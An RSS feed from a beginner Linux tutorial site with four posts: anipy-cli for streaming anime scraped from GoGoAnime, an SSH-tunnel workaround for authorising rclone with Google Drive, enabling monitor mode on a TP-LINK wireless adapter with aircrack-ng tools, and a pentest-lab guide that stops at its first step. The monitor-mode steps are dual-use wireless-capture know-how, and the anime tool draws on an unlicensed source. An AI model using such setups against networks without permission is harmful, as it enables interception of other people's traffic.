<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux &#8211; NoobLinux</title>
	<atom:link href="https://nooblinux.com/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>https://nooblinux.com</link>
	<description>Linux Tutorials Aimed at Beginners</description>
	<lastBuildDate>Thu, 12 Dec 2024 18:38:58 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>

<image>
	<url>https://nooblinux.com/wp-content/uploads/2021/10/cropped-MOSHED-2021-10-19-23-49-53-e1634757568151-32x32.jpg</url>
	<title>Linux &#8211; NoobLinux</title>
	<link>https://nooblinux.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">198948974</site>	<item>
		<title>anipy-cli: Watch/Download Anime Free via Terminal in Linux</title>
		<link>https://nooblinux.com/anipy-cli-watch-download-anime-free-via-terminal-in-linux/</link>
					<comments>https://nooblinux.com/anipy-cli-watch-download-anime-free-via-terminal-in-linux/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Sat, 18 Mar 2023 01:32:40 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Website Tools & Resources]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3744</guid>

					<description><![CDATA[Anipy-cli is a versatile Python tool that allows you to watch and download anime from the terminal, providing you with the ultimate anime watching experience. This tool scrapes its content from GoGoAnime and can be used as an API. In this tutorial, we&#8217;ll walk you through the installation process, usage, and other features of anipy-cli. [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p><a href="https://github.com/sdaqo/anipy-cli" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Anipy-cli<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a versatile Python tool that allows you to watch and download anime from the terminal, providing you with the ultimate anime watching experience. </p>



<p>This tool scrapes its content from <a href="https://gogoanime.gg/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GoGoAnime<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and can be used as an API. In this tutorial, we&#8217;ll walk you through the installation process, usage, and other features of anipy-cli.</p>






<h2 id="quick-demo" class="wp-block-heading">Quick Demo</h2>



<p>This is a quick demo on how it works. I&#8217;m running:</p>



<pre class="wp-block-code prompt"><code>anipy-cli -Dq 720</code></pre>



<p>In this example I&#8217;m using the options:</p>



<ul class="wp-block-list">
<li><code>-D</code> : this downloads the anime. Otherwise you&#8217;d stream it.</li>



<li><code>-q 720</code> : this is the quality I want it to download. The default one is 1080p.</li>
</ul>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="902" height="598" src="https://nooblinux.com/wp-content/uploads/2023/03/vcxsrv_lm4YiqKstD.gif" alt="" class="wp-image-3746"/></figure>



<h2 id="1-installation" class="wp-block-heading">1. Installation</h2>



<p>To install anipy-cli, it is recommended to use the PyPI package:</p>



<pre class="wp-block-code prompt"><code>python3 -m pip install anipy-cli --upgrade</code></pre>



<p>You can also install directly from the GitHub repository, which may be more up-to-date:</p>



<pre class="wp-block-code prompt"><code>python3 -m pip install git+https://github.com/sdaqo/anipy-cli
</code></pre>



<p>Anipy-cli requires <code>mpv</code> for video playback. Install it from the <a href="https://mpv.io/installation/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">official website<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. If you prefer to use a different video player, you can specify its path in the configuration file.</p>



<p>Optionally, you can install <code>ffmpeg</code> to download m3u8 playlists using the <code>-f</code> flag. This is recommended if the internal downloader fails, although <code>ffmpeg</code> is comparatively slower.</p>



<h2 id="2-configuring-anipy-cli" class="wp-block-heading">2. Configuring anipy-cli</h2>



<p>When you run the program for the first time, a configuration file will be automatically created. The configuration file can be found at the following locations:</p>



<ul class="wp-block-list">
<li>Linux: <code>~/.config/anipy-cli/config.yaml</code></li>



<li>Windows: <code>%USERPROFILE%/AppData/Local/anipy-cli/config.yaml</code></li>



<li>MacOS: <code>~/.config/anipy-cli/config.yaml</code></li>
</ul>



<p>You can customize the settings in this file to suit your preferences, such as video player path, download location, and MyAnimeList credentials.</p>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">Windows users who enable the <code>reuse_mpv_window</code> option will need to download and add the <code>mpv-2.dll</code> to their system path. This file can be obtained from <a href="https://sourceforge.net/projects/mpv-player-windows/files/libmpv/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">SourceForge<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>This is how the <code>config.yaml</code> file looks like:</p>



<pre class="wp-block-code"><code>anime_types:
- sub
- dub
auto_map_mal_to_gogo: false
auto_open_dl_defaultcli: false
auto_sync_mal_to_seasonals: false
dc_presence: false
download_folder_path: <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">/path/where/you/want/to/download/anime</span>
download_name_format: '{show_name}_{episode_number}.mp4'
download_remove_dub_from_folder_name: false
ffmpeg_hls: false
ffmpeg_log_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/ffmpeg_log
gogoanime_url: https://gogoanime.gg/
history_file_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/history.json
mal_local_user_list_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/mal_list.&gt;
mal_password: ''
mal_status_categories:
- watching
mal_user: ''
mpv_commandline_options:</code></pre>



<p>You can read the <a href="https://github.com/sdaqo/anipy-cli/blob/master/docs/anipycli_as_lib.py" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">docs<span class="wpel-icon wpel-image wpel-icon-19"></span></a> to find out more about the configs. </p>



<p>I recommend setting the <strong>download_folder_path</strong> to your preferred download location.</p>



<p>After you save the file the changes will be in effect.</p>



<h2 id="3-using-anipy-cli" class="wp-block-heading">3. Using anipy-cli</h2>



<p>Anipy-cli offers several actions and modes to choose from, along with options to customize its behavior. </p>



<p>To see all available options, run:</p>



<pre class="wp-block-code prompt"><code>anipy-cli --help</code></pre>



<pre class="wp-block-code has-small-font-size"><code>usage: anipy-cli &#091;-D | -B | -H | -S | -M | --delete-history] &#091;-q QUALITY] &#091;-f] &#091;-o] &#091;-a]
                 &#091;-p {mpv,vlc,syncplay,mpvnet}] &#091;-l LOCATION] &#091;--mal-password MAL_PASSWORD]
                 &#091;-h] &#091;-v] &#091;--config-path]

Play Animes from gogoanime in local video-player or Download them.

Actions:
  Different Actions and Modes of anipy-cli (only pick one)

  -D, --download        Download mode. Download multiple episodes like so: first_number-
                        second_number (e.g. 1-3)
  -B, --binge           Binge mode. Binge multiple episodes like so: first_number-second_number
                        (e.g. 1-3)
  -H, --history         Show your history of watched anime
  -S, --seasonal        Seasonal Anime mode. Bulk download or binge watch newest episodes.
  -M, --my-anime-list   MyAnimeList mode. Similar to seasonal mode, but using MyAnimeList
                        (requires MAL account credentials to be set in config).
  --delete-history      Delete your History.

Options:
  Options to change the behaviour of anipy-cli

  -q QUALITY, --quality QUALITY
                        Change the quality of the video, accepts: best, worst or 360, 480, 720
                        etc. Default: best
  -f, --ffmpeg          Use ffmpeg to download m3u8 playlists, may be more stable but is way
                        slower than internal downloader
  -o, --no-seas-search  Turn off search in season. Disables prompting if GoGoAnime is to be
                        searched for anime in specific season.
  -a, --auto-update     Automatically update and download all Anime in seasonals list from
                        start EP to newest.
  -p {mpv,vlc,syncplay,mpvnet}, --optional-player {mpv,vlc,syncplay,mpvnet}
                        Override the player set in the config.
  -l LOCATION, --location LOCATION
                        Override all configured download locations
  --mal-password MAL_PASSWORD
                        Provide password for MAL login (overrides password set in config)

Info:
  Info about the current anipy-cli installation

  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  --config-path         Print path to the config file.</code></pre>



<h2 id="4-anipy-cli-features" class="wp-block-heading">4. anipy-cli Features</h2>



<p>Anipy-cli offers several features, including:</p>



<ul class="wp-block-list">
<li>Faster anime playback than in a browser.</li>



<li>Local video player support.</li>



<li>Quality selection for playback and downloads.</li>



<li>History of watched episodes.</li>



<li>Binge mode for continuous playback of a range of episodes.</li>



<li>Seasonal mode for bulk downloading or binge-watching the latest episodes.</li>



<li>Optional MyAnimeList mode for personalized anime lists.</li>



<li>Optional Discord Presence for displaying the currently watched anime.</li>
</ul>



<h2 id="5-library-usage-in-python" class="wp-block-heading">5. Library Usage in Python</h2>



<p>Anipy-cli can be used as a library, and the documentation can be found <a href="https://github.com/sdaqo/anipy-cli" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p><strong>Note:</strong> To import the library, use <code>import anipy_cli</code> instead of <code>import anipy-cli</code>, as hyphens are not allowed in Python imports.</p>



<h2 id="6-other-versions" class="wp-block-heading">6. Other Versions</h2>



<p>In addition to the CLI version, there are alternative versions of Anipy available:</p>



<ul class="wp-block-list">
<li><a href="https://github.com/sdaqo/anipy-gui" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GUI Frontend<span class="wpel-icon wpel-image wpel-icon-19"></span></a> (Work in Progress) by sdaqo</li>



<li><a href="https://github.com/Dabbing-Guy/anipy-dmenu" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Dmenu script<span class="wpel-icon wpel-image wpel-icon-19"></span></a> by @Dabbing-Guy</li>



<li><a href="https://github.com/Dankni95/ulauncher-anime" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Ulauncher extension<span class="wpel-icon wpel-image wpel-icon-19"></span></a> by @Dankni95 (not maintained)</li>
</ul>



<p>These other versions offer different interfaces and integrations, catering to different user preferences.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>Now that you&#8217;ve learned how to install, configure, and use Anipy-cli, you can enjoy watching and downloading your favorite anime directly from the Linux terminal. Happy anime watching!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/anipy-cli-watch-download-anime-free-via-terminal-in-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3744</post-id>	</item>
		<item>
		<title>How to Connect Rclone to Google Drive from a Remote Server (Headless)</title>
		<link>https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/</link>
					<comments>https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Fri, 17 Mar 2023 11:05:55 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3718</guid>

					<description><![CDATA[Setting up Rclone on a remote server to connect to Google Drive can be a frustrating experience. The problem arises when you need to authorize the connection by visiting the generated URL like http://127.0.0.1:53682/auth?state=blahblah on your local browser. This link won&#8217;t work on your local machine since it was generated on the remote server. Furthermore, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Setting up Rclone on a remote server to connect to Google Drive can be a frustrating experience. </p>



<p>The problem arises when you need to authorize the connection by visiting the generated URL like <code>http://127.0.0.1:53682/auth?state=blahblah</code> on your local browser. </p>



<p><strong>This link won&#8217;t work on your local machine since it was generated on the remote server</strong>. </p>



<p>Furthermore, <strong>Rclone does offer an alternative URL for remote/headless server users</strong>, but this might result in an <code>Access blocked: Rclone's request is invalid</code> error. At least that&#8217;s what happens in my case.</p>



<p class="neon-border has-palette-color-4-color has-black-background-color has-text-color has-background">In this tutorial, we will guide you through a workaround using an <strong><a href="https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/#whats-an-ssh-tunnel" data-wpel-link="internal">SSH tunnel</a></strong> to authorize Rclone for Google Drive connection from your remote server without any issues.</p>






<h2 id="pre-requisites" class="wp-block-heading">Pre-requisites:</h2>



<ol class="wp-block-list">
<li>A remote server (e.g., Digital Ocean, Vultr, Hetzner, etc.)</li>



<li>Rclone installed on the remote server</li>



<li>SSH access to the remote server</li>
</ol>



<h2 id="step-1-begin-rclone-configuration" class="wp-block-heading">Step 1. Begin Rclone Configuration</h2>



<p>Start by connecting to your remote server via SSH and begin the Rclone configuration process with the following command:</p>



<pre class="wp-block-code"><code>rclone config</code></pre>



<p>Go through the motions as you normally would with your preferred settings until you get to the <strong>auto config</strong> question.</p>



<h2 id="step-2-say-yes-to-auto-config" class="wp-block-heading">Step 2. Say Yes to &#8220;auto config&#8221;</h2>



<p><strong>When you get to this question say yes</strong>. This is because, if you&#8217;ve been having my issue, if you select N you&#8217;re given a link that leads to &#8220;Rclone&#8217;s request is invalid&#8221;.</p>



<pre class="wp-block-code"><code>Remote config
Use auto config?
 * Say Y if not sure
 * Say N if you are working on a remote or headless machine
y) Yes (default)
n) No
y/n> Y</code></pre>



<p></p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="636" height="613" src="https://nooblinux.com/wp-content/uploads/2023/03/image.png" alt="" class="wp-image-3728" srcset="https://nooblinux.com/wp-content/uploads/2023/03/image.png 636w, https://nooblinux.com/wp-content/uploads/2023/03/image-300x289.png 300w" sizes="(max-width: 636px) 100vw, 636px" /><figcaption class="wp-element-caption">What happens if I select option 2: &#8220;Say N if you are working on a remote or headless machine&#8221;.</figcaption></figure>



<p>If you said yes, you&#8217;re given a link like this.</p>



<pre class="wp-block-code"><code>http:&#47;&#47;127.0.0.1:53682/auth?state=ASDha9sd8yhd9pq-ASD</code></pre>



<p><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Leave it like that and open a new terminal session or Putty on your local computer.</span></p>



<h2 id="create-an-ssh-tunnel" class="wp-block-heading">Create an SSH Tunnel</h2>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">An SSH tunnel helps by securely forwarding your local computer&#8217;s browser traffic to the remote server, allowing you to access and authorize the Rclone-generated URL as if you were on the server itself.</p>



<p>On your second terminal (I&#8217;m using cmder on Windows), run the following command:</p>



<pre class="wp-block-code"><code>ssh -L 53682:localhost:53682 -C -N -l <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">&lt;your_user></span> <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">&lt;your_remote_server_ip></span></code></pre>



<p>Replace:</p>



<ul class="wp-block-list">
<li><code>&lt;your_user></code> with your actual remote server user</li>



<li><code>&lt;your_remote_server_ip></code> with your remote server&#8217;s IP</li>
</ul>



<p><strong>The session will just hang after you enter the password</strong>. </p>



<p>Don&#8217;t worry, that&#8217;s normal. The tunnel is established.</p>



<p>This is what it will look like.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2023/03/ssh_tunnel.png" alt="" class="wp-image-3733" width="842" height="227" srcset="https://nooblinux.com/wp-content/uploads/2023/03/ssh_tunnel.png 682w, https://nooblinux.com/wp-content/uploads/2023/03/ssh_tunnel-300x81.png 300w" sizes="(max-width: 842px) 100vw, 842px" /></figure>



<h2 id="copy-rclone-authorization-link-to-your-local-browser" class="wp-block-heading">Copy Rclone Authorization Link to Your Local Browser</h2>



<p>Now you can copy the <code>http://127.0.0.1:53682/auth?state=ASDha9sd8yhd9pq-ASD</code> link and place it in your local machine&#8217;s browser and it should work to authorize your Google account.</p>



<p>When you&#8217;ve authorized it, you&#8217;ll get a message <code>Success! All done. Please go back to rclone.</code></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive.png" alt="" class="wp-image-3734" width="842" height="492" srcset="https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive.png 779w, https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive-300x175.png 300w, https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive-768x449.png 768w" sizes="auto, (max-width: 842px) 100vw, 842px" /></figure>



<p>In your command line where you&#8217;re configuring Rclone you&#8217;ll see the configuration moves forward and will see the message:</p>



<pre class="wp-block-code"><code><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Got code</span>
Configure this as a team drive?
y) Yes
n) No (default)
y/n></code></pre>



<p>You can close the browser window and the terminal and move on with the config. <strong>Rclone is now authorized</strong>.</p>



<p>Now you can continue with your Rclone config as you normally would.</p>



<h2 id="frequently-asked-questions" class="wp-block-heading">Frequently Asked Questions</h2>



<h3 id="whats-an-ssh-tunnel" class="wp-block-heading">What&#8217;s an SSH Tunnel?</h3>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">An SSH tunnel helps by securely forwarding your local computer&#8217;s browser traffic to the remote server, allowing you to access and authorize the Rclone-generated URL as if you were on the server itself.</p>



<p>An SSH tunnel is a secure, encrypted connection between your local computer and a remote server, allowing you to forward local network traffic to the remote server. In this case, the SSH tunnel is created using the command <code>ssh -L 53682:localhost:53682 -C -N -l root &lt;remote_server_ip></code>.</p>



<p>Here&#8217;s a breakdown of the command:</p>



<ul class="wp-block-list">
<li><code>-L 53682:localhost:53682</code>: This flag sets up local port forwarding, mapping the local port 53682 to the remote server&#8217;s localhost at port 53682. It allows you to access the remote server&#8217;s Rclone configuration URL from your local browser.</li>



<li><code>-C</code>: This flag enables data compression, which can help speed up the transfer of data over the tunnel.</li>



<li><code>-N</code>: This flag tells SSH not to execute any commands on the remote server, meaning it only establishes the connection for port forwarding.</li>



<li><code>-l root</code>: This flag specifies the remote server&#8217;s login username (in this case, &#8216;root&#8217;).</li>



<li><code>&lt;remote_server_ip&gt;</code>: Replace this placeholder with the actual IP address of your remote server.</li>
</ul>



<p>By creating an SSH tunnel, you can securely access resources on the remote server as if they were available locally, enabling you to complete the Rclone configuration process in this tutorial.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>This was a short tutorial on how to connect Rclone to Google Drive. Ideally it should have worked when you tell the Rclone config that you&#8217;re using a remote/headless server. This is just a clean workaround in my opinion. Let me know of you have any feedback or encounter any issues.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3718</post-id>	</item>
		<item>
		<title>How to Enable Monitor Mode on TP-LINK TL-WN722N V2/V3</title>
		<link>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/</link>
					<comments>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Fri, 29 Jul 2022 19:53:46 +0000</pubDate>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3672</guid>

					<description><![CDATA[In this tutorial we&#8217;ll enable monitor mode on a TP-LINK TL-WN722N V2/V3 wireless adapter, on a Kali Linux machine running on VMware or VirtualBox. Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In this tutorial we&#8217;ll enable monitor mode on a <a href="https://www.tp-link.com/us/home-networking/usb-adapter/tl-wn722n/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-LINK TL-WN722N V2/V3<span class="wpel-icon wpel-image wpel-icon-19"></span></a> wireless adapter, on a Kali Linux machine running on VMware or VirtualBox. </p>



<p>Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor mode, Atheros AR9271, and that you can&#8217;t enable it on V2/V3. You can, however.</p>



<p>To start off, if you&#8217;re using a virtual machine, first you&#8217;ll have to connect your <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">wireless adapter to your Kali Linux virtual machine</a>.</p>



<h2 id="set-up-the-adapter" class="wp-block-heading">Set up the Adapter</h2>



<p>Next, we&#8217;ll run some commands to set up the adapter.</p>



<p>First update and upgrade your package index.</p>



<pre class="wp-block-preformatted promptkali">sudo apt update &amp;&amp; sudo apt upgrade</pre>



<p>Reboot your machine.</p>



<pre class="wp-block-preformatted promptkali">sudo reboot</pre>



<p>Install Linux headers for your Kali Linux.</p>



<pre class="wp-block-preformatted promptkali">sudo apt install linux-headers-$(uname -r)
</pre>



<p>Run the following commands to install the <code>bc</code> package and remote the <code>r8188eu.ko</code> module.</p>



<pre class="wp-block-preformatted promptkali">sudo apt install bc</pre>
<pre class="wp-block-preformatted promptkali">sudo rmmod r8188eu.ko</pre>



<p>Clone the Realtek driver from the <code>aircrack-ng</code> Github repository.</p>



<pre class="wp-block-preformatted promptkali">git clone https://github.com/aircrack-ng/rtl8188eus</pre>



<p>Run the following commands.</p>



<pre class="wp-block-preformatted promptkali">cd rtl8188eus</pre>
<pre class="wp-block-preformatted promptkali">sudo -i</pre>
<pre class="wp-block-preformatted promptkali">echo "blacklist r8188eu" &gt; "/etc/modprobe.d/realtek.conf"</pre>
<pre class="wp-block-preformatted promptkali">exit</pre>
<pre class="wp-block-preformatted promptkali">reboot</pre>



<p>After the reboot run the following commands (we have to <code>cd</code> back into the <code>rtl8188eus</code> directory that we cloned earlier):</p>



<pre class="wp-block-preformatted promptkali">cd rtl8188eus</pre>
<pre class="wp-block-preformatted promptkali">make</pre>
<pre class="wp-block-preformatted promptkali">sudo make install</pre>
<pre class="wp-block-preformatted promptkali">sudo modprobe 8188eu</pre>



<h2 id="enable-monitor-mode" class="wp-block-heading">Enable Monitor Mode</h2>



<p>To enable monitor mode, run the following commands:</p>



<pre class="wp-block-preformatted promptkali">sudo ifconfig wlan0 down</pre>
<pre class="wp-block-preformatted promptkali">sudo airmon-ng check kill</pre>
<pre class="wp-block-preformatted promptkali">sudo iwconfig wlan0 mode monitor</pre>
<pre class="wp-block-preformatted promptkali">sudo ifconfig wlan0 up</pre>
<pre class="wp-block-preformatted promptkali">sudo iwconfig</pre>



<p>Here&#8217;s the output you should be seeing. You can see that the adapter is set to <code>Mode: Monitor</code>.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="910" height="299" src="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode.png" alt="" class="wp-image-3675" srcset="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode.png 910w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-300x99.png 300w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-768x252.png 768w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<h3 id="troubleshooting-when-enabling-monitor-mode" class="wp-block-heading">Troubleshooting When Enabling Monitor Mode</h3>



<p>In some cases it doesn&#8217;t work right away. For example you may get the error <code>Error for wireless request "Set Mode" (8B06) : SET failed on device wlan0 ; Operation not permitted.</code></p>



<p>The solution that has worked for me every time is the following (credit to this <a href="https://github.com/mfruba/kernel/issues/28#issuecomment-742997493" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Github user&#8217;s comment<span class="wpel-icon wpel-image wpel-icon-19"></span></a>).</p>



<p>Run the following commands in this order:</p>



<pre class="wp-block-code"><code>sudo ifconfig wlan0 up
sudo rmmod r8188eu.ko
sudo modprobe 8188eu
sudo iwconfig wlan0 mode auto
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up</code></pre>



<p>Now when you check <code>iwconfig</code> you should see the adapter is in monitor mode.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="909" height="643" src="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2.png" alt="" class="wp-image-3680" srcset="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2.png 909w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2-300x212.png 300w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2-768x543.png 768w" sizes="auto, (max-width: 909px) 100vw, 909px" /></figure>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>In this tutorial we set up a TP-LINK TL-WN722N V2/V3 adapter to run in monitor mode. If you have any issues or questions then please don&#8217;t hesitate to leave a comment. Hope this helped. Thank you.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/feed/</wfw:commentRss>
			<slash:comments>35</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3672</post-id>	</item>
		<item>
		<title>How To Setup A Virtual Penetration Testing Lab</title>
		<link>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/</link>
					<comments>https://nooblinux.com/how-to-setup-a-virtual-penetration-testing-lab/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 23:29:13 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[virtual machines]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3458</guid>

					<description><![CDATA[If you are just getting started with penetration testing and ethical hacking, you will need a penetration testing lab to practice your skills and test the different security tools available. This post will give you a step-by-step guide on setting up your virtual penetration testing lab and install the various operating systems and vulnerable machines [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>If you are just getting started with penetration testing and ethical hacking, you will need a penetration testing lab to practice your skills and test the different security tools available.</p>



<p>This post will give you a step-by-step guide on setting up your virtual penetration testing lab and install the various operating systems and vulnerable machines you can start with.</p>






<h2 id="why-setup-a-virtual-penetration-testing-lab" class="wp-block-heading">Why Setup A Virtual Penetration Testing Lab</h2>



<p>The most apparent reason you would need a penetration testing lab is to practice what you learn and test the different available security tools.</p>



<p>However, other than convenience, there are more reasons as to why you need a virtual lab.</p>



<h3 id="1-your-safety" class="wp-block-heading">1. Your safety</h3>



<p>One is for your safety. Performing a penetration test on a system without permission from the owner is illegal and regarded as a computer crime. That can land you into trouble with the owner or even the authorities if issues escalate beyond control.</p>



<p>To avoid such problems and be on the safe side, you can host the various vulnerable machines available in your penetration testing lab and exploit them.</p>



<h3 id="2-its-isolated-from-the-real-world-environment" class="wp-block-heading">2. It&#8217;s isolated from the real-world environment</h3>



<p>This is another reason why a penetration testing lab is necessary. Anything you perform in the lab does not affect the systems or people around you.</p>



<p>For example, if you are trying to get into malware analysis, you will deal with real viruses (the <a href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">WannaCry ransomware<span class="wpel-icon wpel-image wpel-icon-19"></span></a>). There is a high risk of this malware spreading through the computer network or even storage drives shared among people in a real-world scenario.</p>



<p>This virus will be isolated with a virtual testing lab and can only impact the installed virtual machine, whichs is much more manageable.</p>



<h3 id="3-its-a-reliable-testing-platform" class="wp-block-heading">3. It&#8217;s a reliable testing platform</h3>



<p>Finally, a virtual penetration testing lab is flexible and will provide you with a reliable platform for research and development.</p>



<p>You can develop new security tools, advanced exploitation tactics in a controlled environment without affecting any systems or networks around you.</p>



<h2 id="understanding-virtualization-technology" class="wp-block-heading">Understanding Virtualization Technology</h2>



<p>When setting up a penetration testing lab, you will have two options to choose from:</p>



<ol class="squaretype-style wp-block-list"><li>Use locally-hosted virtualization technology (<em>Recommended</em>)</li><li>Set up a home lab with additional computer devices and components available.</li></ol>



<p>The latter (<em>home lab</em>) can be a little expensive and complicated to set up and manage. You will need to gather all computer devices and routers and use them to set up a lab. For example, you can have <strong>Computer A</strong> running your hacking distribution (say <em>Kali Linux</em>) and <strong>Computer B</strong> or <strong>C</strong> running your vulnerable machines (say <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">DVWA</a> or BWAPP). You will also need routers, switches, ethernet cables to manage the personal network.</p>



<p>Locally-hosted virtualization is much easier to set up, manage and only requires you to have one powerful PC that supports virtualization technology. That is the method that we will use in this post. Essentially, virtualization allows you to run more than one operating system on your computer. You will need to install virtualization software and use it to run the additional operating systems to get started. Some of the most common softwares are VirtualBox and VMware.</p>



<p><a href="https://www.virtualbox.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VirtualBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a free and open-source virtualization software developed by Oracle distributed under the GNU General Public License (GPL) version 2.</p>



<p><a href="https://www.vmware.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">VMware<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, on the other hand, is a commercial software company and has several products to offer. The only free version is the VMware Workstation Player intended for home or personal use. To get many more advanced features, including snapshots, you will need to upgrade to VMware Workstation pro.</p>



<p>Up to this point, I believe you have a good understanding of a penetration testing lab and the technology you need to come up with one.</p>



<p>Let’s dive in and set up our lab. Our virtualization software of choice for this post is VirtualBox.</p>



<h2 id="step-1-download-and-install-virtualbox-on-your-pc" class="wp-block-heading">Step 1. Download and Install VirtualBox on your PC</h2>



